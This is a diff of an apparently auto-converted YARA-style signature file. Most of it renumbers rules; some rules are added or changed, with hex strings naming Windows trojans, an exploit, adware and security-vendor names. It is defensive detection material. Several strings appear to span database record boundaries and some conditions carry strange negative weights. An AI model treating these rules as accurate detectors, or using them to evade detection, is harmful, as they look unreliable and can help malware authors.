_InfrastructureShared_27650{ ((#a_01_0 & 1)*19491+(#a_01_1 & 1)*1+(#a_01_2 & 1)*0) >=3 } -rule _InfrastructureShared_27651{ +rule _InfrastructureShared_29389{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,03 00 03 00 06 00 21 " @@ -360427,7 +383094,7 @@ rule _InfrastructureShared_27651{ ((#a_01_0 & 1)*16675+(#a_01_1 & 1)*26226+(#a_01_3 & 1)*112+(#a_01_4 & 1)*12849+(#a_01_5 & 1)*28778) >=3 } -rule _InfrastructureShared_27652{ +rule _InfrastructureShared_29390{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,04 00 04 00 04 00 21 " @@ -360439,7 +383106,7 @@ rule _InfrastructureShared_27652{ ((#a_01_0 & 1)*20515+(#a_01_1 & 1)*14905+(#a_01_2 & 1)*8448) >=4 } -rule _InfrastructureShared_27653{ +rule _InfrastructureShared_29391{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,06 00 06 00 06 00 21 " @@ -360454,7 +383121,7 @@ rule _InfrastructureShared_27653{ ((#a_01_0 & 1)*18467+(#a_01_1 & 1)*2304+(#a_01_2 & 1)*18735+(#a_01_3 & 1)*8307+(#a_01_4 & 1)*18771+(#a_01_5 & 1)*21331) >=6 } -rule _InfrastructureShared_27654{ +rule _InfrastructureShared_29392{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,06 00 06 00 08 00 21 " @@ -360471,7 +383138,7 @@ rule _InfrastructureShared_27654{ ((#a_01_0 & 1)*18467+(#a_01_1 & 1)*21573+(#a_01_2 & 1)*1+(#a_01_3 & 1)*0+(#a_01_4 & 1)*21331+(#a_01_5 & 1)*20089+(#a_01_6 & 1)*25972+(#a_01_7 & 1)*20008) >=6 } -rule _InfrastructureShared_27655{ +rule _InfrastructureShared_29393{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,07 00 07 00 07 00 21 " @@ -360486,7 +383153,7 @@ rule _InfrastructureShared_27655{ ((#a_01_0 & 1)*18467+(#a_01_1 & 1)*21331+(#a_01_2 & 1)*31088+(#a_01_3 & 1)*16448+(#a_01_4 & 1)*27753+(#a_01_6 & 1)*101) >=7 } -rule _InfrastructureShared_27656{ +rule _InfrastructureShared_29394{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,0c 00 0c 00 03 00 21 " @@ -360497,7 +383164,7 @@ rule _InfrastructureShared_27656{ ((#a_01_0 & 1)*18467+(#a_01_2 & 1)*-3711) >=12 } -rule _InfrastructureShared_27657{ +rule _InfrastructureShared_29395{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,01 00 01 00 01 00 21 " @@ -360507,7 +383174,7 @@ rule _InfrastructureShared_27657{ ((#a_01_0 & 1)*16675) >=1 } -rule _InfrastructureShared_27658{ +rule _InfrastructureShared_29396{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,02 00 02 00 02 00 21 " @@ -360518,7 +383185,7 @@ rule _InfrastructureShared_27658{ ((#a_01_0 & 1)*18467+(#a_01_1 & 1)*114) >=2 } -rule _InfrastructureShared_27659{ +rule _InfrastructureShared_29397{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,03 00 03 00 03 00 21 " @@ -360530,31 +383197,45 @@ rule _InfrastructureShared_27659{ ((#a_01_0 & 1)*21539+(#a_01_1 & 1)*13312+(#a_01_2 & 1)*17199) >=3 } -rule _InfrastructureShared_27660{ +rule _InfrastructureShared_29398{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,03 00 03 00 03 00 21 " strings : $a_01_0 = {6f 6a 61 6e 3a 57 69 6e 33 32 2f 43 72 79 70 74 49 6e 6a 65 63 74 2e 53 46 21 4d 54 42 00 01 00 28 73 65 74 75 70 5c 6f 64 62 63 63 6f 6e 66 5c 65 78 65 5c 6f 62 6a 5c 69 33 38 36 5c 6f 64 62 63 63 6f 6e 66 2e 70 64 62 01 00 0b 72 75 6e 6f 6e 63 65 2e 65 78 65 01 00 2f 53 4f 46 54 57 41 52 45 5c 4d 69 63 72 6f 73 6f 66 74 5c 57 69 6e 64 6f } //21539 $a_01_1 = {43 75 72 72 65 6e 74 56 65 72 73 69 6f 6e 5c 53 45 54 55 50 00 00 61 95 00 00 03 00 03 00 04 00 21 23 41 64 77 61 72 65 3a 57 69 6e 33 32 2f 41 72 63 61 64 65 57 65 62 00 01 00 1a 6c 61 6e 64 69 6e 67 70 61 67 65 73 2e 70 6c 61 79 73 75 73 68 69 2e 63 6f 6d 01 00 17 74 65 78 } //29559 - $a_01_2 = {6e 6b 73 40 70 6c 61 79 73 75 73 68 69 2e 63 6f 6d 01 00 1a 50 53 54 65 78 74 2e 44 4c 4c 00 44 6c 6c 43 61 6e 55 6e 6c 6f 61 64 4e 6f 77 01 00 1d 70 73 69 64 3a 25 64 7c 75 69 64 3a 25 73 7c 6c 6f 63 3a 25 64 7c 73 74 6a 73 3a 25 64 00 00 61 95 00 00 04 00 04 00 06 00 21 23 41 4c 46 50 45 52 3a 54 72 6f 6a 61 6e } //27764 + $a_01_2 = {6e 6b 73 40 70 6c 61 79 73 75 73 68 69 2e 63 6f 6d 01 00 1a 50 53 54 65 78 74 2e 44 4c 4c 00 44 6c 6c 43 61 6e 55 6e 6c 6f 61 64 4e 6f 77 01 00 1d 70 73 69 64 3a 25 64 7c 75 69 64 3a 25 73 7c 6c 6f 63 3a 25 64 7c 73 74 6a 73 3a 25 64 00 00 61 95 00 00 04 00 04 00 05 00 21 23 41 4c 46 3a 45 78 70 6c 6f 69 74 3a 57 } //27764 condition: ((#a_01_0 & 1)*21539+(#a_01_1 & 1)*29559+(#a_01_2 & 1)*27764) >=3 } -rule _InfrastructureShared_27661{ +rule _InfrastructureShared_29399{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,03 00 03 00 04 00 21 " strings : $a_01_0 = {77 61 72 65 3a 57 69 6e 33 32 2f 41 72 63 61 64 65 57 65 62 00 01 00 1a 6c 61 6e 64 69 6e 67 70 61 67 65 73 2e 70 6c 61 79 73 75 73 68 69 2e 63 6f 6d 01 00 17 74 65 78 74 6c 69 6e 6b 73 40 70 6c 61 79 73 75 73 68 69 2e 63 6f 6d 01 00 1a 50 53 54 65 78 74 2e 44 4c 4c 00 44 6c 6c 43 61 6e 55 6e 6c 6f } //16675 - $a_01_1 = {6f 77 01 00 1d 70 73 69 64 3a 25 64 7c 75 69 64 3a 25 73 7c 6c 6f 63 3a 25 64 7c 73 74 6a 73 3a 25 64 00 00 61 95 00 00 04 00 04 00 06 00 21 23 41 4c 46 50 45 52 3a 54 72 6f 6a 61 6e 3a 57 69 6e 36 34 2f 53 74 69 72 6c 79 2e 44 21 64 } //25697 - $a_01_3 = {57 69 6e 6c 6f 67 44 6c 6c 2e 64 6c 6c } //1 WinlogDll.dll + $a_01_1 = {6f 77 01 00 1d 70 73 69 64 3a 25 64 7c 75 69 64 3a 25 73 7c 6c 6f 63 3a 25 64 7c 73 74 6a 73 3a 25 64 00 00 61 95 00 00 04 00 04 00 05 00 21 23 41 4c 46 3a 45 78 70 6c 6f 69 74 3a 57 69 6e 33 32 2f 46 6f 6c 64 65 72 4f 72 46 69 6c 65 } //25697 + $a_01_2 = {65 74 65 54 6f 53 79 73 74 65 6d 00 01 00 1a 43 00 3a 00 5c 00 43 00 6f 00 6e 00 66 00 69 00 67 00 2e 00 4d 00 73 00 69 00 01 00 1a 46 6f 6c 64 65 72 4f 72 46 69 6c 65 44 65 6c 65 74 65 54 6f 53 79 73 74 65 6d 01 00 13 4e 74 53 65 74 53 65 63 75 72 69 74 79 4f 62 6a 65 63 74 01 00 04 2e 72 62 73 01 00 04 2e 72 62 66 00 00 } //25924 condition: - ((#a_01_0 & 1)*16675+(#a_01_1 & 1)*25697+(#a_01_3 & 1)*1) >=3 + ((#a_01_0 & 1)*16675+(#a_01_1 & 1)*25697+(#a_01_2 & 1)*25924) >=3 } -rule _InfrastructureShared_27662{ +rule _InfrastructureShared_29400{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,04 00 04 00 05 00 21 " + + strings : + $a_01_0 = {46 3a 45 78 70 6c 6f 69 74 3a 57 69 6e 33 32 2f 46 6f 6c 64 65 72 4f 72 46 69 6c 65 44 65 6c 65 74 65 54 6f 53 79 73 74 65 6d 00 01 00 1a 43 00 3a 00 5c 00 43 00 6f 00 6e 00 66 00 69 00 67 00 2e 00 4d 00 73 00 69 00 01 00 1a 46 } //16675 + $a_01_1 = {65 72 4f 72 46 69 6c 65 44 65 6c 65 74 65 54 6f 53 79 73 74 65 6d 01 00 13 4e 74 53 65 74 53 65 63 75 72 69 74 79 4f 62 6a 65 63 74 01 00 04 2e 72 62 73 01 00 04 2e 72 62 66 00 00 61 95 00 00 04 00 04 00 06 00 21 23 41 4c 46 50 45 52 3a 54 72 6f 6a 61 6e 3a 57 69 6e 36 34 2f 53 74 69 72 6c 79 2e 44 } //27759 + $a_01_2 = {61 00 01 00 0d 57 69 6e 6c 6f 67 44 6c 6c 2e 64 6c 6c 01 00 0c 57 4c 45 76 65 6e 74 4c 6f 67 6f 6e 01 00 0d 57 6c 44 69 6d 73 53 74 61 72 74 75 70 01 00 1c 54 00 68 00 69 00 6e 00 50 00 72 00 69 00 6e 00 74 00 20 00 47 00 6d 00 62 00 48 00 01 00 0a 6d 73 61 64 68 63 2e 64 6c 6c 01 00 0c 5c 4e 6f 74 69 66 79 00 } //25633 + $a_01_3 = {6e 00 00 61 95 00 00 05 00 05 00 05 00 21 23 48 53 54 52 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 53 61 6e 64 79 53 69 6d 42 6f 74 21 64 68 61 00 01 00 35 25 73 25 73 25 73 26 68 6e 25 73 25 73 20 26 68 61 25 73 25 73 20 26 68 6d 25 73 25 73 20 26 68 76 25 73 25 73 20 26 68 62 25 73 25 73 20 26 68 70 } //28783 + $a_01_4 = {73 01 00 08 73 79 6d 61 6e 74 65 63 01 00 09 6b 61 73 70 65 72 73 6b 79 01 00 09 4e 54 55 73 65 72 43 66 67 01 } //29477 + condition: + ((#a_01_0 & 1)*16675+(#a_01_1 & 1)*27759+(#a_01_2 & 1)*25633+(#a_01_3 & 1)*28783+(#a_01_4 & 1)*29477) >=4 + +} +rule _InfrastructureShared_29401{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,04 00 04 00 06 00 21 " @@ -360567,7 +383248,7 @@ rule _InfrastructureShared_27662{ ((#a_01_0 & 1)*16675+(#a_01_3 & 1)*104+(#a_01_4 & 1)*9587+(#a_01_5 & 1)*28530) >=4 } -rule _InfrastructureShared_27663{ +rule _InfrastructureShared_29402{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,05 00 05 00 05 00 21 " @@ -360581,7 +383262,7 @@ rule _InfrastructureShared_27663{ ((#a_01_0 & 1)*18467+(#a_01_1 & 1)*9584+(#a_01_2 & 1)*26927+(#a_01_3 & 1)*28265+(#a_01_4 & 1)*28791) >=5 } -rule _InfrastructureShared_27664{ +rule _InfrastructureShared_29403{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,05 00 05 00 05 00 21 " @@ -360595,7 +383276,7 @@ rule _InfrastructureShared_27664{ ((#a_01_0 & 1)*21539+(#a_01_1 & 1)*25708+(#a_01_2 & 1)*100+(#a_01_3 & 1)*17996+(#a_01_4 & 1)*1) >=5 } -rule _InfrastructureShared_27665{ +rule _InfrastructureShared_29404{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,06 00 06 00 06 00 21 " @@ -360608,7 +383289,7 @@ rule _InfrastructureShared_27665{ ((#a_01_0 & 1)*16675+(#a_01_2 & 1)*26889+(#a_01_3 & 1)*28777+(#a_01_4 & 1)*27247) >=6 } -rule _InfrastructureShared_27666{ +rule _InfrastructureShared_29405{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,06 00 06 00 06 00 21 " @@ -360623,7 +383304,7 @@ rule _InfrastructureShared_27666{ ((#a_01_0 & 1)*16675+(#a_01_1 & 1)*1+(#a_01_2 & 1)*1+(#a_01_3 & 1)*1+(#a_01_4 & 1)*0+(#a_01_5 & 1)*21331) >=6 } -rule _InfrastructureShared_27667{ +rule _InfrastructureShared_29406{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,07 00 07 00 07 00 21 " @@ -360639,7 +383320,7 @@ rule _InfrastructureShared_27667{ ((#a_01_0 & 1)*18467+(#a_01_1 & 1)*21331+(#a_01_2 & 1)*27745+(#a_01_3 & 1)*21084+(#a_01_4 & 1)*19982+(#a_01_5 & 1)*12851+(#a_01_6 & 1)*28764) >=7 } -rule _InfrastructureShared_27668{ +rule _InfrastructureShared_29407{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,0a 00 0a 00 03 00 21 " @@ -360651,7 +383332,7 @@ rule _InfrastructureShared_27668{ ((#a_01_0 & 1)*21539+(#a_01_1 & 1)*25938+(#a_01_2 & 1)*12873) >=10 } -rule _InfrastructureShared_27669{ +rule _InfrastructureShared_29408{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,0f 00 0f 00 06 00 21 " @@ -360665,7 +383346,7 @@ rule _InfrastructureShared_27669{ ((#a_01_0 & 1)*18467+(#a_01_2 & 1)*21335+(#a_01_3 & 1)*12082+(#a_01_4 & 1)*24948+(#a_01_5 & 1)*20259) >=15 } -rule _InfrastructureShared_27670{ +rule _InfrastructureShared_29409{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,1e 00 1e 00 03 00 21 " @@ -360677,7 +383358,7 @@ rule _InfrastructureShared_27670{ ((#a_01_0 & 1)*16675+(#a_01_1 & 1)*24933+(#a_01_2 & 1)*108) >=30 } -rule _InfrastructureShared_27671{ +rule _InfrastructureShared_29410{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,1e 00 1e 00 03 00 21 " @@ -360688,7 +383369,7 @@ rule _InfrastructureShared_27671{ ((#a_01_0 & 1)*20259+(#a_01_2 & 1)*101) >=30 } -rule _InfrastructureShared_27672{ +rule _InfrastructureShared_29411{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,1e 00 1e 00 04 00 21 " @@ -360700,7 +383381,7 @@ rule _InfrastructureShared_27672{ ((#a_01_0 & 1)*20259+(#a_01_1 & 1)*30575+(#a_01_2 & 1)*16662) >=30 } -rule _InfrastructureShared_27673{ +rule _InfrastructureShared_29412{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,02 00 02 00 03 00 21 " @@ -360712,7 +383393,7 @@ rule _InfrastructureShared_27673{ ((#a_01_0 & 1)*16675+(#a_01_1 & 1)*28265+(#a_01_2 & 1)*29801) >=2 } -rule _InfrastructureShared_27674{ +rule _InfrastructureShared_29413{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,03 00 03 00 03 00 21 " @@ -360724,7 +383405,7 @@ rule _InfrastructureShared_27674{ ((#a_01_0 & 1)*16675+(#a_01_1 & 1)*28515+(#a_01_2 & 1)*13622) >=3 } -rule _InfrastructureShared_27675{ +rule _InfrastructureShared_29414{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,05 00 04 00 07 00 21 " @@ -360740,7 +383421,7 @@ rule _InfrastructureShared_27675{ ((#a_01_0 & 1)*18467+(#a_01_1 & 1)*29300+(#a_01_2 & 1)*29805+(#a_01_3 & 1)*21840+(#a_01_4 & 1)*1+(#a_01_5 & 1)*1+(#a_01_6 & 1)*1) >=4 } -rule _InfrastructureShared_27676{ +rule _InfrastructureShared_29415{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,05 00 05 00 06 00 21 " @@ -360755,7 +383436,7 @@ rule _InfrastructureShared_27676{ ((#a_01_0 & 1)*16675+(#a_01_1 & 1)*25972+(#a_01_2 & 1)*5+(#a_01_3 & 1)*21840+(#a_01_4 & 1)*1+(#a_01_5 & 1)*1) >=5 } -rule _InfrastructureShared_27677{ +rule _InfrastructureShared_29416{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,05 00 05 00 06 00 21 " @@ -360768,7 +383449,7 @@ rule _InfrastructureShared_27677{ ((#a_01_0 & 1)*20515+(#a_01_1 & 1)*28261+(#a_01_3 & 1)*21008+(#a_01_4 & 1)*21562) >=5 } -rule _InfrastructureShared_27678{ +rule _InfrastructureShared_29417{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,06 00 06 00 04 00 21 " @@ -360780,7 +383461,7 @@ rule _InfrastructureShared_27678{ ((#a_01_0 & 1)*18467+(#a_01_1 & 1)*28793+(#a_01_2 & 1)*24415) >=6 } -rule _InfrastructureShared_27679{ +rule _InfrastructureShared_29418{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,07 00 07 00 07 00 21 " @@ -360795,7 +383476,7 @@ rule _InfrastructureShared_27679{ ((#a_01_0 & 1)*18467+(#a_01_1 & 1)*26994+(#a_01_2 & 1)*12336+(#a_01_3 & 1)*18190+(#a_01_4 & 1)*26960+(#a_01_5 & 1)*17518) >=7 } -rule _InfrastructureShared_27680{ +rule _InfrastructureShared_29419{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,09 00 09 00 09 00 21 " @@ -360811,7 +383492,7 @@ rule _InfrastructureShared_27680{ ((#a_01_0 & 1)*18467+(#a_01_1 & 1)*1+(#a_01_2 & 1)*1+(#a_01_3 & 1)*1+(#a_01_4 & 1)*1+(#a_01_5 & 1)*0+(#a_01_7 & 1)*14413) >=9 } -rule _InfrastructureShared_27681{ +rule _InfrastructureShared_29420{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,11 00 11 00 08 00 21 " @@ -360826,7 +383507,7 @@ rule _InfrastructureShared_27681{ ((#a_01_0 & 1)*18467+(#a_01_1 & 1)*1+(#a_01_2 & 1)*1+(#a_01_3 & 1)*10+(#a_01_4 & 1)*0+(#a_01_6 & 1)*115) >=17 } -rule _InfrastructureShared_27682{ +rule _InfrastructureShared_29421{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,01 00 01 00 01 00 21 " @@ -360836,7 +383517,7 @@ rule _InfrastructureShared_27682{ ((#a_01_0 & 1)*16675) >=1 } -rule _InfrastructureShared_27683{ +rule _InfrastructureShared_29422{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,01 00 01 00 02 00 21 " @@ -360847,7 +383528,7 @@ rule _InfrastructureShared_27683{ ((#a_01_0 & 1)*16675+(#a_01_1 & 1)*139) >=1 } -rule _InfrastructureShared_27684{ +rule _InfrastructureShared_29423{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,04 00 04 00 04 00 21 " @@ -360860,7 +383541,7 @@ rule _InfrastructureShared_27684{ ((#a_01_0 & 1)*16675+(#a_01_1 & 1)*28265+(#a_01_2 & 1)*8308+(#a_01_3 & 1)*28520) >=4 } -rule _InfrastructureShared_27685{ +rule _InfrastructureShared_29424{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,04 00 04 00 04 00 21 " @@ -360872,7 +383553,7 @@ rule _InfrastructureShared_27685{ ((#a_01_0 & 1)*18467+(#a_01_1 & 1)*29298+(#a_01_2 & 1)*83) >=4 } -rule _InfrastructureShared_27686{ +rule _InfrastructureShared_29425{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,04 00 04 00 05 00 21 " @@ -360886,7 +383567,7 @@ rule _InfrastructureShared_27686{ ((#a_01_0 & 1)*18467+(#a_01_1 & 1)*29281+(#a_01_2 & 1)*28530+(#a_01_3 & 1)*24832+(#a_01_4 & 1)*0) >=4 } -rule _InfrastructureShared_27687{ +rule _InfrastructureShared_29426{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,04 00 04 00 07 00 21 " @@ -360900,7 +383581,7 @@ rule _InfrastructureShared_27687{ ((#a_01_0 & 1)*18467+(#a_01_1 & 1)*24441+(#a_01_2 & 1)*28530+(#a_01_4 & 1)*19717+(#a_01_6 & 1)*22551) >=4 } -rule _InfrastructureShared_27688{ +rule _InfrastructureShared_29427{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,05 00 04 00 06 00 21 " @@ -360913,7 +383594,7 @@ rule _InfrastructureShared_27688{ ((#a_01_0 & 1)*18467+(#a_01_2 & 1)*29451+(#a_01_3 & 1)*24408+(#a_01_5 & 1)*7) >=4 } -rule _InfrastructureShared_27689{ +rule _InfrastructureShared_29428{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,07 00 07 00 07 00 21 " @@ -360927,7 +383608,7 @@ rule _InfrastructureShared_27689{ ((#a_01_0 & 1)*18467+(#a_01_1 & 1)*29300+(#a_01_3 & 1)*11787+(#a_01_4 & 1)*28793+(#a_01_6 & 1)*30474) >=7 } -rule _InfrastructureShared_27690{ +rule _InfrastructureShared_29429{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,07 00 07 00 07 00 21 " @@ -360943,7 +383624,7 @@ rule _InfrastructureShared_27690{ ((#a_01_0 & 1)*21283+(#a_01_1 & 1)*11788+(#a_01_2 & 1)*3840+(#a_01_3 & 1)*29541+(#a_01_4 & 1)*4864+(#a_01_5 & 1)*22330+(#a_01_6 & 1)*27713) >=7 } -rule _InfrastructureShared_27691{ +rule _InfrastructureShared_29430{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,07 00 07 00 07 00 21 " @@ -360958,7 +383639,7 @@ rule _InfrastructureShared_27691{ ((#a_01_0 & 1)*21539+(#a_01_1 & 1)*24912+(#a_01_2 & 1)*22373+(#a_01_3 & 1)*29281+(#a_01_4 & 1)*-4027+(#a_01_6 & 1)*8993) >=7 } -rule _InfrastructureShared_27692{ +rule _InfrastructureShared_29431{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,0c 00 0c 00 05 00 21 " @@ -360971,7 +383652,7 @@ rule _InfrastructureShared_27692{ ((#a_01_0 & 1)*16675+(#a_01_1 & 1)*24931+(#a_01_3 & 1)*17803+(#a_01_4 & 1)*85) >=12 } -rule _InfrastructureShared_27693{ +rule _InfrastructureShared_29432{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,11 00 11 00 04 00 21 " @@ -360983,7 +383664,7 @@ rule _InfrastructureShared_27693{ ((#a_01_0 & 1)*18467+(#a_01_1 & 1)*4+(#a_01_2 & 1)*112) >=17 } -rule _InfrastructureShared_27694{ +rule _InfrastructureShared_29433{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,28 00 28 00 05 00 21 " @@ -360997,7 +383678,7 @@ rule _InfrastructureShared_27694{ ((#a_01_0 & 1)*20259+(#a_01_1 & 1)*79+(#a_01_2 & 1)*21562+(#a_01_3 & 1)*0+(#a_01_4 & 1)*4360) >=40 } -rule _InfrastructureShared_27695{ +rule _InfrastructureShared_29434{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,01 00 01 00 01 00 21 " @@ -361007,7 +383688,7 @@ rule _InfrastructureShared_27695{ ((#a_01_0 & 1)*18467) >=1 } -rule _InfrastructureShared_27696{ +rule _InfrastructureShared_29435{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,02 00 02 00 02 00 21 " @@ -361018,7 +383699,7 @@ rule _InfrastructureShared_27696{ ((#a_01_0 & 1)*18467+(#a_01_1 & 1)*1278) >=2 } -rule _InfrastructureShared_27697{ +rule _InfrastructureShared_29436{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,02 00 02 00 03 00 21 " @@ -361030,7 +383711,7 @@ rule _InfrastructureShared_27697{ ((#a_01_0 & 1)*21539+(#a_01_1 & 1)*28025+(#a_01_2 & 1)*25975) >=2 } -rule _InfrastructureShared_27698{ +rule _InfrastructureShared_29437{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,02 00 02 00 05 00 21 " @@ -361044,7 +383725,7 @@ rule _InfrastructureShared_27698{ ((#a_01_0 & 1)*18467+(#a_01_1 & 1)*27748+(#a_01_2 & 1)*116+(#a_01_3 & 1)*8993+(#a_01_4 & 1)*18448) >=2 } -rule _InfrastructureShared_27699{ +rule _InfrastructureShared_29438{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,03 00 03 00 03 00 21 " @@ -361055,7 +383736,7 @@ rule _InfrastructureShared_27699{ ((#a_01_0 & 1)*21539+(#a_01_1 & 1)*66) >=3 } -rule _InfrastructureShared_27700{ +rule _InfrastructureShared_29439{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,04 00 04 00 04 00 21 " @@ -361067,7 +383748,7 @@ rule _InfrastructureShared_27700{ ((#a_01_0 & 1)*18467+(#a_01_1 & 1)*-1816+(#a_01_2 & 1)*27658) >=4 } -rule _InfrastructureShared_27701{ +rule _InfrastructureShared_29440{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,04 00 04 00 04 00 21 " @@ -361079,7 +383760,7 @@ rule _InfrastructureShared_27701{ ((#a_01_0 & 1)*21539+(#a_01_2 & 1)*47+(#a_01_3 & 1)*31084) >=4 } -rule _InfrastructureShared_27702{ +rule _InfrastructureShared_29441{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,04 00 04 00 06 00 21 " @@ -361094,7 +383775,7 @@ rule _InfrastructureShared_27702{ ((#a_01_0 & 1)*20515+(#a_01_1 & 1)*30072+(#a_01_2 & 1)*105+(#a_01_3 & 1)*11892+(#a_01_4 & 1)*-28528+(#a_01_5 & 1)*-28528) >=4 } -rule _InfrastructureShared_27703{ +rule _InfrastructureShared_29442{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,05 00 05 00 0e 00 21 " @@ -361117,7 +383798,7 @@ rule _InfrastructureShared_27703{ ((#a_01_0 & 1)*18467+(#a_01_1 & 1)*8481+(#a_01_2 & 1)*-29805+(#a_01_3 & 1)*24434+(#a_01_4 & 1)*17199+(#a_01_5 & 1)*28488+(#a_01_6 & 1)*12338+(#a_01_7 & 1)*21581+(#a_01_8 & 1)*21004+(#a_01_9 & 1)*21511+(#a_01_10 & 1)*25970+(#a_01_11 & 1)*29559+(#a_01_12 & 1)*12082+(#a_01_13 & 1)*27491) >=5 } -rule _InfrastructureShared_27704{ +rule _InfrastructureShared_29443{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,06 00 06 00 05 00 21 " @@ -361130,7 +383811,7 @@ rule _InfrastructureShared_27704{ ((#a_01_0 & 1)*16675+(#a_01_1 & 1)*4096+(#a_01_2 & 1)*8993+(#a_01_3 & 1)*30067) >=6 } -rule _InfrastructureShared_27705{ +rule _InfrastructureShared_29444{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,06 00 06 00 06 00 21 " @@ -361145,7 +383826,7 @@ rule _InfrastructureShared_27705{ ((#a_01_0 & 1)*21539+(#a_01_1 & 1)*24943+(#a_01_2 & 1)*25959+(#a_01_3 & 1)*28787+(#a_01_4 & 1)*26473+(#a_01_5 & 1)*14642) >=6 } -rule _InfrastructureShared_27706{ +rule _InfrastructureShared_29445{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,0f 00 0f 00 06 00 21 " @@ -361160,7 +383841,7 @@ rule _InfrastructureShared_27706{ ((#a_01_0 & 1)*18467+(#a_01_1 & 1)*12338+(#a_01_2 & 1)*21581+(#a_01_3 & 1)*21004+(#a_01_4 & 1)*21511+(#a_01_5 & 1)*25970) >=15 } -rule _InfrastructureShared_27707{ +rule _InfrastructureShared_29446{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,11 00 11 00 08 00 21 " @@ -361176,7 +383857,7 @@ rule _InfrastructureShared_27707{ ((#a_01_0 & 1)*18467+(#a_01_1 & 1)*17166+(#a_01_3 & 1)*21511+(#a_01_4 & 1)*25970+(#a_01_5 & 1)*29559+(#a_01_6 & 1)*12082+(#a_01_7 & 1)*27491) >=17 } -rule _InfrastructureShared_27708{ +rule _InfrastructureShared_29447{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,11 00 11 00 08 00 21 " @@ -361192,7 +383873,7 @@ rule _InfrastructureShared_27708{ ((#a_01_0 & 1)*18467+(#a_01_1 & 1)*17166+(#a_01_2 & 1)*101+(#a_01_3 & 1)*27760+(#a_01_5 & 1)*32274+(#a_01_6 & 1)*14924+(#a_01_7 & 1)*24902) >=17 } -rule _InfrastructureShared_27709{ +rule _InfrastructureShared_29448{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,1e 00 1e 00 04 00 21 " @@ -361205,7 +383886,7 @@ rule _InfrastructureShared_27709{ ((#a_01_0 & 1)*20259+(#a_01_1 & 1)*97+(#a_01_2 & 1)*12333+(#a_01_3 & 1)*29285) >=30 } -rule _InfrastructureShared_27710{ +rule _InfrastructureShared_29449{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,02 00 02 00 03 00 21 " @@ -361217,7 +383898,7 @@ rule _InfrastructureShared_27710{ ((#a_01_0 & 1)*18467+(#a_01_1 & 1)*26659+(#a_01_2 & 1)*22597) >=2 } -rule _InfrastructureShared_27711{ +rule _InfrastructureShared_29450{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,04 00 04 00 04 00 21 " @@ -361230,7 +383911,7 @@ rule 